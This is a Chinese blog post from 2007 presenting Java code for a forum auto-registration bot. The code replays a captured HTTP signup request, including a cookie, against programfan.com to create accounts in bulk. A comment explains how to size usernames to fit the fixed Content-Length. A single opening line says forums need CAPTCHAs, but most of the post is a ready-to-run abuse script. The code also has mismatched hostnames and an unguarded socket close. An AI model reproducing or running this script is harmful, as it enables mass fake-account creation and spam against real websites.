博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助
隐藏
yexin218.cublog.cn
论坛注册机的实现

   这种注册机制能针对论坛中没有验证码的,所以在注册中实行验证码机制是有必要的,防止有人刷新,以及这种疯狂的注册。

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.Socket;

/**
*
* @author vlinux
*/

public class AutoRegister {
    
    
    
    
    
    
    /**
     * 发送请求到目的站点
     * site 目的站点
     * port 目的端口
     * content 发送的内容
     * 发送成功返回true,但是不保证一定能在业务逻辑上的成功,仅仅是发送过去了而已
     * 发送失败,比如找不到服务器等就返回false
     */

    public boolean sendRegister(String site, int port, String content) {
        boolean result = false; //返回

        Socket socket = null;
        try{
            
            /*
             * 与对方站点建立连接
             */

            socket = new Socket(site,port);
            PrintWriter pw = new PrintWriter( socket.getOutputStream() );
            
            /*
             * 发送信息
             */

            pw.write( content );
            pw.flush();
            
            /*
             * 到这一步发送成功,返回true
             */

            result = true;
        } catch (IOException ioe) {
            
            /*
             * 如果发送过程中出现意外则返回false
             */

            result = false;
        } finally {
            /*
             * 不管是否发送成功,我们都得关闭连接
             */

            try {
                socket.close();
            } catch (IOException ex) {
                /*
                 * 关闭连接的时候发生异常
                 */

                ex.printStackTrace();
            }
            return result;
        }
    }
    
    
    
    
    

    
    /**
     * 从文件中获取注册时候的Http Header
     */

    public String getRegisterHttpHeader(String headerFilename) throws FileNotFoundException {
        
        /*
         * 因为找不到文件是不可修复的异常,
         * 所以继续抛出
         */

        BufferedReader br = new BufferedReader( new FileReader( new File(headerFilename) ) );
        StringBuffer sb=new StringBuffer();
        try {
            while(br.ready()){
                sb.append( br.readLine()+"\n" );
            }
        } catch (IOException ex) {
            /*
             * 这里在这里软件中不会有异常抛出
             * 所以就让异常死在这里了
             */

            //ex.printStackTrace();

        }
        return sb.toString();
    }
    
    
    
    
    
    
    /**
     * 注册用户
     * username 帐号名和密码
     * site 被注册的站点
     * port 该站点web服务的端口号,一般是80
     */

    public void register( String username, String site, int port ) throws FileNotFoundException {
        
        /*
         * 因为找不到文件是不可修复的异常,
         * 所以继续抛出
         */

        String header = getRegisterHttpHeader("programfan_hacker_register.txt");
        
        /*
         * @替换字符串中的帐号和密码
         * 我在抓FireFox2.0发出去的Http Header的时候用户名和密码贪图省事都是一样的
         * 都是vlinuxGXU1,所以这里也全部都替换成为一样的,呵呵。
         */

        header = header.replaceAll("vlinuxGXU1",username);
        
        /*
         * 开始注册
         */

        if( sendRegister(site,port,header) == true ) {
            System.out.println( "注册成功,用户名称:"+username+",密码:"+username );
        } else {
            System.out.println( "注册"+username+"失败." );
        }
        
    }
    
    
    
    /**
     * 主方法
     * @author vlinux
     */

    public static void main(String... args) {
     String name[] = {"dsfdsfsfd","rweew","ewwewrerew"};
        AutoRegister ar = new AutoRegister();
        try {
            /**
             * 帐号和密码都是 knockerkao
             * 当然,当你看到这个代码的时候knockerkao早就被我注册了
             * 对了,顺便提醒一句,你起的帐号名必须要超过7个字符以上
             * 否则会和我的 Content-Length: 256 对不上
             * 因为你至少要超过这个数字才能正确被服务器识别
             */


            for(int i=0;i<name.length;i++){

            ar.register(name[i],"www.rogamfa.com",80);}
        } catch (FileNotFoundException ex) {
            System.out.println( "找不到文件: "+ex.getMessage() );
        }
    }
    
    
}


一下是programfan_hacker_register.txt内容:

POST http://www.programfan.com/user/saveuser.asp?action=person HTTP/1.1
Host: www.programfan.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.programfan.com/user/register.asp
Cookie: style=1; ASPSESSIONIDQATDRQTQ=KEDFEAFBAMMDEGCDPABJGDJB; userid=; username=
Content-Type: application/x-www-form-urlencoded
Content-Length: 256

username=vlinuxGXU1&password=vlinuxGXU1&repassword=vlinuxGXU1&name=vlinuxGXU1&sex=%C4%D0&email=vvv%40gxu.edu.cn&question=vlinuxGXU1&answer=vlinuxGXU1&city=%C9%CF%BA%A3&year=1920&month=1&day=1&qq=&website=&address=&zipcode=&phonenumber=&Submit=%C8%B7+%B6%A8

发表于: 2007-01-14,修改于: 2007-01-14 11:26,已浏览3069次,有评论0条 推荐 投诉

给我留言
版权所有 ChinaUnix.net 页面生成时间:0.07644